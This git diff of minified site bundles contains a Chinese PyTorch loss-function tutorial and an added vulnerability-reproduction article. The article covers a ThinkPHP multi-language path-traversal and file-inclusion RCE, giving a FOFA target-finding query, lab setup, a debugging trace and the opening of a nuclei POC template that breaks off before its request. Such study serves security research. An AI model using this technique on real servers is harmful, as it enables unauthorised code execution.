2\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"weight"}),"\uff1a\u5404\u7c7b\u522b\u7684 loss \u8bbe\u7f6e\u6743\u503c\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"margin"}),"\uff1a\u8fb9\u754c\u503c"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\uff1a"})}),"\n",(0,t.jsx)(e.p,{children:"$\n\\operatorname{loss}(x, y)=\\frac{\\sum_{i} \\max (0, \\operatorname{margin}-x[y]+x[i])^{p}}{x \\cdot \\operatorname{size}(0)}\n$"}),"\n",(0,t.jsx)(e.p,{children:"$\n\\begin{array}{l}\n\\text { \u5176\u4e2d, } x \\in{0, \\ldots, x \\cdot \\operatorname{size}(0)-1}, y \\in{0, \\ldots, y \\cdot \\operatorname{size}(0)-1} \\text {, \u5e76\u4e14\u5bf9\u4e8e\u6240\u6709\u7684 } i \\text { \u548c } j \\text {, }\\\n\\text { \u90fd\u6709 } 0 \\leq y[j] \\leq x \\cdot \\operatorname{size}(0)-1, \\text { \u4ee5\u53ca } i \\neq y[j] \\text { \u3002 }\n\\end{array}\n$"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"inputs = torch.tensor([[0.3, 0.7], [0.5, 0.5]]) \ntarget = torch.tensor([0, 1], dtype=torch.long) \n\nloss_f = nn.MultiMarginLoss()\noutput = loss_f(inputs, target)\n\nprint('MultiMarginLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"MultiMarginLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(0.6000)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"3512-\u4e09\u5143\u7ec4\u635f\u5931",children:"3.5.12 \u4e09\u5143\u7ec4\u635f\u5931"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.TripletMarginLoss(margin=1.0, p=2.0, eps=1e-06, swap=False, size_average=None, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u8ba1\u7b97\u4e09\u5143\u7ec4\u635f\u5931\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u4e09\u5143\u7ec4:"})," \u8fd9\u662f\u4e00\u79cd\u6570\u636e\u7684\u5b58\u50a8\u6216\u8005\u4f7f\u7528\u683c\u5f0f\u3002<\u5b9e\u4f531\uff0c\u5173\u7cfb\uff0c\u5b9e\u4f532>\u3002\u5728\u9879\u76ee\u4e2d\uff0c\u4e5f\u53ef\u4ee5\u8868\u793a\u4e3a< ",(0,t.jsx)(e.code,{children:"anchor"}),", ",(0,t.jsx)(e.code,{children:"positive examples"})," , ",(0,t.jsx)(e.code,{children:"negative examples"}),">"]}),"\n",(0,t.jsxs)(e.p,{children:["\u5728\u8fd9\u4e2a\u635f\u5931\u51fd\u6570\u4e2d\uff0c\u6211\u4eec\u5e0c\u671b\u53bb",(0,t.jsx)(e.code,{children:"anchor"}),"\u7684\u8ddd\u79bb\u66f4\u63a5\u8fd1",(0,t.jsx)(e.code,{children:"positive examples"}),"\uff0c\u800c\u8fdc\u79bb",(0,t.jsx)(e.code,{children:"negative examples "})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570:"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduction"}),"\uff1a\u8ba1\u7b97\u6a21\u5f0f\uff0c\u53ef\u4e3a none/sum/mean\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"p\uff1a"}),"\u53ef\u9009 1 \u6216 2\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"margin"}),"\uff1a\u8fb9\u754c\u503c"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\uff1a"})}),"\n",(0,t.jsx)(e.p,{children:"$\nL(a, p, n)=\\max \\left{d\\left(a_{i}, p_{i}\\right)-d\\left(a_{i}, n_{i}\\right)+\\operatorname{margin}, 0\\right}\n$"}),"\n",(0,t.jsxs)(e.p,{children:["$\n\\text { \u5176\u4e2d, } d\\left(x_{i}, y_{i}\\right)=\\left|\\mathbf{x}",(0,t.jsx)(e.em,{children:"{i}-\\mathbf{y}"}),"{i}\\right|_{\\text {\u30fb }}\n$"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"triplet_loss = nn.TripletMarginLoss(margin=1.0, p=2)\nanchor = torch.randn(100, 128, requires_grad=True)\npositive = torch.randn(100, 128, requires_grad=True)\nnegative = torch.randn(100, 128, requires_grad=True)\noutput = triplet_loss(anchor, positive, negative)\noutput.backward()\nprint('TripletMarginLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"TripletMarginLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(1.1667, grad_fn=)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"3513-hingembeddingloss",children:"3.5.13 HingEmbeddingLoss"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.HingeEmbeddingLoss(margin=1.0, size_average=None, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u5bf9\u8f93\u51fa\u7684embedding\u7ed3\u679c\u505aHing\u635f\u5931\u8ba1\u7b97"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570:"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduction"}),"\uff1a\u8ba1\u7b97\u6a21\u5f0f\uff0c\u53ef\u4e3a none/sum/mean\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"margin"}),"\uff1a\u8fb9\u754c\u503c"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\uff1a"})}),"\n",(0,t.jsxs)(e.p,{children:["$\nl_{n}=\\left{\\begin{array}{ll}\nx_{n}, & \\text { if } y_{n}=1 \\\n\\max \\left{0, \\Delta-x_{n}\\right}, & \\text { if } y_{n}=-1\n\\end{array}\\right.\n$\n",(0,t.jsx)(e.strong,{children:"\u6ce8\u610f\u4e8b\u9879\uff1a"})," \u8f93\u5165x\u5e94\u4e3a\u4e24\u4e2a\u8f93\u5165\u4e4b\u5dee\u7684\u7edd\u5bf9\u503c\u3002"]}),"\n",(0,t.jsx)(e.p,{children:"\u53ef\u4ee5\u8fd9\u6837\u7406\u89e3\uff0c\u8ba9\u4e2a\u8f93\u51fa\u7684\u662f\u6b63\u4f8byn=1,\u90a3\u4e48loss\u5c31\u662fx\uff0c\u5982\u679c\u8f93\u51fa\u7684\u662f\u8d1f\u4f8by=-1\uff0c\u90a3\u4e48\u8f93\u51fa\u7684loss\u5c31\u662f\u8981\u505a\u4e00\u4e2a\u6bd4\u8f83\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"loss_f = nn.HingeEmbeddingLoss()\ninputs = torch.tensor([[1., 0.8, 0.5]])\ntarget = torch.tensor([[1, 1, -1]])\noutput = loss_f(inputs,target)\n\nprint('HingEmbeddingLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"HingEmbeddingLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(0.7667)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"3514-\u4f59\u5f26\u76f8\u4f3c\u5ea6",children:"3.5.14 \u4f59\u5f26\u76f8\u4f3c\u5ea6"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.CosineEmbeddingLoss(margin=0.0, size_average=None, reduce=None, reduction='mean')\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u5bf9\u4e24\u4e2a\u5411\u91cf\u505a\u4f59\u5f26\u76f8\u4f3c\u5ea6"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570:"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduction"}),"\uff1a\u8ba1\u7b97\u6a21\u5f0f\uff0c\u53ef\u4e3a none/sum/mean\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"margin"}),"\uff1a\u53ef\u53d6\u503c[-1,1] \uff0c\u63a8\u8350\u4e3a[0,0.5] \u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u8ba1\u7b97\u516c\u5f0f\uff1a"})}),"\n",(0,t.jsx)(e.p,{children:"$\n\\operatorname{loss}(x, y)=\\left{\\begin{array}{ll}\n1-\\cos \\left(x_{1}, x_{2}\\right), & \\text { if } y=1 \\\n\\max \\left{0, \\cos \\left(x_{1}, x_{2}\\right)-\\text { margin }\\right}, & \\text { if } y=-1\n\\end{array}\\right.\n$\n\u5176\u4e2d,\n$\n\\cos (\\theta)=\\frac{A \\cdot B}{|A||B|}=\\frac{\\sum_{i=1}^{n} A_{i} \\times B_{i}}{\\sqrt{\\sum_{i=1}^{n}\\left(A_{i}\\right)^{2}} \\times \\sqrt{\\sum_{i=1}^{n}\\left(B_{i}\\right)^{2}}}\n$"}),"\n",(0,t.jsx)(e.p,{children:"\u8fd9\u4e2a\u635f\u5931\u51fd\u6570\u5e94\u8be5\u662f\u6700\u5e7f\u4e3a\u4eba\u77e5\u7684\u3002\u5bf9\u4e8e\u4e24\u4e2a\u5411\u91cf\uff0c\u505a\u4f59\u5f26\u76f8\u4f3c\u5ea6\u3002\u5c06\u4f59\u5f26\u76f8\u4f3c\u5ea6\u4f5c\u4e3a\u4e00\u4e2a\u8ddd\u79bb\u7684\u8ba1\u7b97\u65b9\u5f0f\uff0c\u5982\u679c\u4e24\u4e2a\u5411\u91cf\u7684\u8ddd\u79bb\u8fd1\uff0c\u5219\u635f\u5931\u51fd\u6570\u503c\u5c0f\uff0c\u53cd\u4e4b\u4ea6\u7136\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"loss_f = nn.CosineEmbeddingLoss()\ninputs_1 = torch.tensor([[0.3, 0.5, 0.7], [0.3, 0.5, 0.7]])\ninputs_2 = torch.tensor([[0.1, 0.3, 0.5], [0.1, 0.3, 0.5]])\ntarget = torch.tensor([1, -1], dtype=torch.float)\noutput = loss_f(inputs_1,inputs_2,target)\n\nprint('CosineEmbeddingLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',output)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"CosineEmbeddingLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(0.5000)\n"})}),"\n",(0,t.jsx)(e.h2,{id:"3515-ctc\u635f\u5931\u51fd\u6570",children:"3.5.15 CTC\u635f\u5931\u51fd\u6570"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"torch.nn.CTCLoss(blank=0, reduction='mean', zero_infinity=False)\n"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:"\u529f\u80fd\uff1a"})," \u7528\u4e8e\u89e3\u51b3\u65f6\u5e8f\u7c7b\u6570\u636e\u7684\u5206\u7c7b"]}),"\n",(0,t.jsx)(e.p,{children:'\u8ba1\u7b97\u8fde\u7eed\u65f6\u95f4\u5e8f\u5217\u548c\u76ee\u6807\u5e8f\u5217\u4e4b\u95f4\u7684\u635f\u5931\u3002CTCLoss\u5bf9\u8f93\u5165\u548c\u76ee\u6807\u7684\u53ef\u80fd\u6392\u5217\u7684\u6982\u7387\u8fdb\u884c\u6c42\u548c\uff0c\u4ea7\u751f\u4e00\u4e2a\u635f\u5931\u503c\uff0c\u8fd9\u4e2a\u635f\u5931\u503c\u5bf9\u6bcf\u4e2a\u8f93\u5165\u8282\u70b9\u6765\u8bf4\u662f\u53ef\u5206\u7684\u3002\u8f93\u5165\u4e0e\u76ee\u6807\u7684\u5bf9\u9f50\u65b9\u5f0f\u88ab\u5047\u5b9a\u4e3a "\u591a\u5bf9\u4e00"\uff0c\u8fd9\u5c31\u9650\u5236\u4e86\u76ee\u6807\u5e8f\u5217\u7684\u957f\u5ea6\uff0c\u4f7f\u5176\u5fc5\u987b\u662f\u2264\u8f93\u5165\u957f\u5ea6\u3002'}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u4e3b\u8981\u53c2\u6570:"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"reduction"}),"\uff1a\u8ba1\u7b97\u6a21\u5f0f\uff0c\u53ef\u4e3a none/sum/mean\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"blank"}),"\uff1ablank label\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"zero_infinity"}),"\uff1a\u65e0\u7a77\u5927\u7684\u503c\u6216\u68af\u5ea6\u503c\u4e3a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"# Target are to be padded\nT = 50 # Input sequence length\nC = 20 # Number of classes (including blank)\nN = 16 # Batch size\nS = 30 # Target sequence length of longest target in batch (padding length)\nS_min = 10 # Minimum target length, for demonstration purposes\n\n# Initialize random batch of input vectors, for *size = (T,N,C)\ninput = torch.randn(T, N, C).log_softmax(2).detach().requires_grad_()\n\n# Initialize random batch of targets (0 = blank, 1:C = classes)\ntarget = torch.randint(low=1, high=C, size=(N, S), dtype=torch.long)\n\ninput_lengths = torch.full(size=(N,), fill_value=T, dtype=torch.long)\ntarget_lengths = torch.randint(low=S_min, high=S, size=(N,), dtype=torch.long)\nctc_loss = nn.CTCLoss()\nloss = ctc_loss(input, target, input_lengths, target_lengths)\nloss.backward()\n\n\n# Target are to be un-padded\nT = 50 # Input sequence length\nC = 20 # Number of classes (including blank)\nN = 16 # Batch size\n\n# Initialize random batch of input vectors, for *size = (T,N,C)\ninput = torch.randn(T, N, C).log_softmax(2).detach().requires_grad_()\ninput_lengths = torch.full(size=(N,), fill_value=T, dtype=torch.long)\n\n# Initialize random batch of targets (0 = blank, 1:C = classes)\ntarget_lengths = torch.randint(low=1, high=T, size=(N,), dtype=torch.long)\ntarget = torch.randint(low=1, high=C, size=(sum(target_lengths),), dtype=torch.long)\nctc_loss = nn.CTCLoss()\nloss = ctc_loss(input, target, input_lengths, target_lengths)\nloss.backward()\n\nprint('CTCLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a',loss)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:"CTCLoss\u635f\u5931\u51fd\u6570\u7684\u8ba1\u7b97\u7ed3\u679c\u4e3a tensor(16.0885, grad_fn=)\n"})})]})}function h(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(a,{...n})}):a(n)}},7169:(n,e,s)=>{s.d(e,{A:()=>r});const r=s.p+"assets/images/3.5.1lossfunciton-24b85c349438c3ed522ead54b5340e62.png"},25613:(n,e,s)=>{s.d(e,{A:()=>r});const r=s.p+"assets/images/3.5.2-325562f3d43de00833781903c0c1a8d2.png"},28453:(n,e,s)=>{s.d(e,{R:()=>o,x:()=>l});var r=s(96540);const t={},i=r.createContext(t);function o(n){const e=r.useContext(i);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:o(n.components),r.createElement(i.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/00b789fd.cbc234ee.js b/en/assets/js/00b789fd.cbc234ee.js new file mode 100644 index 0000000..8293c0c --- /dev/null +++ b/en/assets/js/00b789fd.cbc234ee.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3833],{28453:(e,n,i)=>{i.d(n,{R:()=>s,x:()=>l});var t=i(96540);const h={},c=t.createContext(h);function s(e){const n=t.useContext(c);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function l(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(h):e.components||h:s(e.components),t.createElement(c.Provider,{value:n},e.children)}},61203:(e,n,i)=>{i.r(n),i.d(n,{assets:()=>p,contentTitle:()=>l,default:()=>r,frontMatter:()=>s,metadata:()=>t,toc:()=>a});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphpv6.0.13\u591a\u8bed\u8a00Rce","title":"Thinkphpv6.0.13\u591a\u8bed\u8a00Rce","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp/03.Thinkphpv6.0.13\u591a\u8bed\u8a00Rce.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphpv6.0.13\u591a\u8bed\u8a00Rce","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphpv6.0.13\u591a\u8bed\u8a00Rce","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp/03.Thinkphpv6.0.13\u591a\u8bed\u8a00Rce.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316"},"next":{"title":"CVE-2022-38352","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/CVE-2022-38352"}}');var h=i(74848),c=i(28453);const s={},l=void 0,p={},a=[{value:"fofa\u6307\u7eb9",id:"fofa\u6307\u7eb9",level:2},{value:"\u6f0f\u6d1e\u63cf\u8ff0",id:"\u6f0f\u6d1e\u63cf\u8ff0",level:2},{value:"\u73af\u5883\u642d\u5efa",id:"\u73af\u5883\u642d\u5efa",level:2},{value:"thinkphp6 \uff0c\u6253\u5f00\u591a\u8bed\u8a00\u529f\u80fd",id:"thinkphp6-\u6253\u5f00\u591a\u8bed\u8a00\u529f\u80fd",level:3},{value:"thinkphp5 \uff0c\u6253\u5f00\u591a\u8bed\u8a00\u529f\u80fd",id:"thinkphp5-\u6253\u5f00\u591a\u8bed\u8a00\u529f\u80fd",level:3},{value:"\u6d4b\u8bd5\u73af\u5883\u642d\u5efa",id:"\u6d4b\u8bd5\u73af\u5883\u642d\u5efa",level:3},{value:"\u8c03\u8bd5",id:"\u8c03\u8bd5",level:2},{value:"POC",id:"poc",level:2},{value:"\u53c2\u8003",id:"\u53c2\u8003",level:2}];function d(e){const n={a:"a",code:"code",h2:"h2",h3:"h3",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,c.R)(),...e.components};return(0,h.jsxs)(h.Fragment,{children:[(0,h.jsxs)(n.table,{children:[(0,h.jsx)(n.thead,{children:(0,h.jsxs)(n.tr,{children:[(0,h.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,h.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,h.jsx)(n.tbody,{children:(0,h.jsxs)(n.tr,{children:[(0,h.jsx)(n.td,{style:{textAlign:"left"},children:(0,h.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,h.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-14 23:58:22"})]})})]}),"\n",(0,h.jsx)(n.p,{children:"Thinkphp\uff0cv6.0.1~v6.0.13\uff0cv5.0.x\uff0cv5.1.x"}),"\n",(0,h.jsx)(n.h2,{id:"fofa\u6307\u7eb9",children:"fofa\u6307\u7eb9"}),"\n",(0,h.jsx)(n.pre,{children:(0,h.jsx)(n.code,{children:'header="think_lang"\n'})}),"\n",(0,h.jsx)(n.h2,{id:"\u6f0f\u6d1e\u63cf\u8ff0",children:"\u6f0f\u6d1e\u63cf\u8ff0"}),"\n",(0,h.jsx)(n.p,{children:"\u5982\u679c Thinkphp \u7a0b\u5e8f\u5f00\u542f\u4e86\u591a\u8bed\u8a00\u529f\u80fd\uff0c\u90a3\u5c31\u53ef\u4ee5\u901a\u8fc7 get\u3001header\u3001cookie \u7b49\u4f4d\u7f6e\u4f20\u5165\u53c2\u6570\uff0c\u5b9e\u73b0\u76ee\u5f55\u7a7f\u8d8a+\u6587\u4ef6\u5305\u542b\uff0c\u901a\u8fc7 pearcmd \u6587\u4ef6\u5305\u542b\u8fd9\u4e2a trick \u5373\u53ef\u5b9e\u73b0 RCE\u3002"}),"\n",(0,h.jsx)(n.h2,{id:"\u73af\u5883\u642d\u5efa",children:"\u73af\u5883\u642d\u5efa"}),"\n",(0,h.jsx)(n.h3,{id:"thinkphp6-\u6253\u5f00\u591a\u8bed\u8a00\u529f\u80fd",children:"thinkphp6 \uff0c\u6253\u5f00\u591a\u8bed\u8a00\u529f\u80fd"}),"\n",(0,h.jsx)(n.p,{children:"app/middleware.php:"}),"\n",(0,h.jsx)(n.pre,{children:(0,h.jsx)(n.code,{className:"language-php",children:" true\n"})}),"\n",(0,h.jsx)(n.h3,{id:"\u6d4b\u8bd5\u73af\u5883\u642d\u5efa",children:"\u6d4b\u8bd5\u73af\u5883\u642d\u5efa"}),"\n",(0,h.jsx)(n.pre,{children:(0,h.jsx)(n.code,{className:"language-bash",children:"git clone https://github.com/top-think/think.git tp6\ncd tp6\ngit checkout v6.0.12\n"})}),"\n",(0,h.jsxs)(n.p,{children:["\u66f4\u6539 ",(0,h.jsx)(n.code,{children:"composer.json"})," \uff0c\u5b89\u88c5 ",(0,h.jsx)(n.code,{children:"v6.0.12"})," \uff1a"]}),"\n",(0,h.jsx)(n.pre,{children:(0,h.jsx)(n.code,{className:"language-json",children:'"require": {\n "php": ">=7.2.5",\n "topthink/framework": "6.0.12",\n "topthink/think-orm": "^2.0"\n},\n'})}),"\n",(0,h.jsx)(n.pre,{children:(0,h.jsx)(n.code,{className:"language-bash",children:"composer install\n"})}),"\n",(0,h.jsx)(n.p,{children:"\u7136\u540e\u6253\u5f00\u591a\u8bed\u8a00\u529f\u80fd\uff1aapp/middleware.php"}),"\n",(0,h.jsx)(n.pre,{children:(0,h.jsx)(n.code,{className:"language-php",children:"\ndetect($request);"})," \uff1a"]}),"\n",(0,h.jsx)(n.p,{children:(0,h.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647104.png",alt:"image-20221221114801906"})}),"\n",(0,h.jsxs)(n.p,{children:["\u8ddf\u8fdb",(0,h.jsx)(n.code,{children:"$this->detect($request)"}),"\uff0c\t\u53d1\u73b0\u662f\u5bf9langSet\u53d6\u503c\uff0c"]}),"\n",(0,h.jsx)(n.p,{children:(0,h.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647105.png",alt:"image-20221221115109654"})}),"\n",(0,h.jsxs)(n.p,{children:["91\u884c\uff0c\u8fd9\u91cc\u505a\u4e86\u4e00\u4e2a\u5224\u65ad\uff0c\u6211\u4eec\u53ef\u4ee5\u4e0d\u96be\u53d1\u73b0\u8fd9\u4e2a",(0,h.jsx)(n.code,{children:"$this->config['allow_lang_list']"})," \u9ed8\u8ba4\u662f\u4e3a\u7a7a\u7684\uff0c\u53ef\u4ee5\u4e0d\u7528\u7ba1\uff0c\u8fd4\u56de\u503c\u5c31\u4e3a\u8fd9\u91cc\u7684",(0,h.jsx)(n.code,{children:"$range"})]}),"\n",(0,h.jsx)(n.p,{children:(0,h.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647106.png",alt:"image-20221221115217996"})}),"\n",(0,h.jsxs)(n.p,{children:["\u56de\u5230handle()\uff0c\u53d1\u73b0\u4f1a\u53ea\u8981\u4e0d\u662f\u4e0e",(0,h.jsx)(n.code,{children:"$this->config['default_lang']"})," \u9ed8\u8ba4\u89e6\u53d1\u4f1a\u8c03\u7528",(0,h.jsx)(n.code,{children:"$this->lang->switchLangSet($langset);"})," \uff0c\u8ddf\u8fdb\u8c03\u8bd5"]}),"\n",(0,h.jsx)(n.p,{children:(0,h.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647107.png",alt:"image-20221221115558778"})}),"\n",(0,h.jsxs)(n.p,{children:["\u5728 135 \u884c\uff0c",(0,h.jsx)(n.code,{children:"$this->load([ $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',])"}),"\uff0c\u5728\u8fd9\u91cc\u5c31\u5b9e\u73b0\u4e86\u6587\u4ef6\u5305\u542b"]}),"\n",(0,h.jsx)(n.pre,{children:(0,h.jsx)(n.code,{className:"language-php",children:"$this->load([\n $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',\n ]);\n"})}),"\n",(0,h.jsxs)(n.p,{children:["\u5728",(0,h.jsx)(n.code,{children:"$this->load([ $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',])"}),"\u4e2d\uff0c\u9ed8\u8ba4\u4f1a\u8d70\u5230",(0,h.jsx)(n.code,{children:"$this->parse($name)"})]}),"\n",(0,h.jsx)(n.p,{children:(0,h.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647108.png",alt:"image-20221221120750404"})}),"\n",(0,h.jsx)(n.p,{children:"\u5982\u679c\u662fphp\u6587\u4ef6\u76f4\u63a5\u5c31include\u7684\u4e86"}),"\n",(0,h.jsx)(n.p,{children:(0,h.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647109.png",alt:"image-20221221120935057"})}),"\n",(0,h.jsx)(n.p,{children:(0,h.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191647110.png",alt:"image-20221221121001328"})}),"\n",(0,h.jsx)(n.h2,{id:"poc",children:"POC"}),"\n",(0,h.jsx)(n.p,{children:"\u53ef\u4ee5\u5229\u7528pearcmd \u6587\u4ef6\u5305\u542b\u8fd9\u4e2a trick \uff0c\u53ef\u4ee5\u53c2\u8003 p \u725b\u7684\u6587\u7ae0\uff1a"}),"\n",(0,h.jsx)(n.p,{children:(0,h.jsx)(n.a,{href:"https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp",children:"https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp"})}),"\n",(0,h.jsx)(n.pre,{children:(0,h.jsx)(n.code,{className:"language-yaml",children:"id: thinkphp-language-local-file-include\ninfo:\n name: thinkphp-\u591a\u8bed\u8a00-\u672c\u5730\u6587\u4ef6\u5305\u542brce\n author: wjlin0\n severity: critical\n description: \u5982\u679c Thinkphp \u7a0b\u5e8f\u5f00\u542f\u4e86\u591a\u8bed\u8a00\u529f\u80fd\uff0c\u90a3\u5c31\u53ef\u4ee5\u901a\u8fc7 get\u3001header\u3001cookie \u7b49\u4f4d\u7f6e\u4f20\u5165\u53c2\u6570\uff0c\u5b9e\u73b0\u76ee\u5f55\u7a7f\u8d8a+\u6587\u4ef6\u5305\u542b\uff0c\u901a\u8fc7 pearcmd \u6587\u4ef6\u5305\u542b\u8fd9\u4e2a trick \u5373\u53ef\u5b9e\u73b0 RCE\u3002\n metadata:\n fofa-query: header=\"think_lang\"\n reference:\n - https://tttang.com/archive/1865/#toc_thinkphp-6\n - https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp\n tags: rce,thinkphp,include\nrequests:\n - raw:\n - |+\n GET 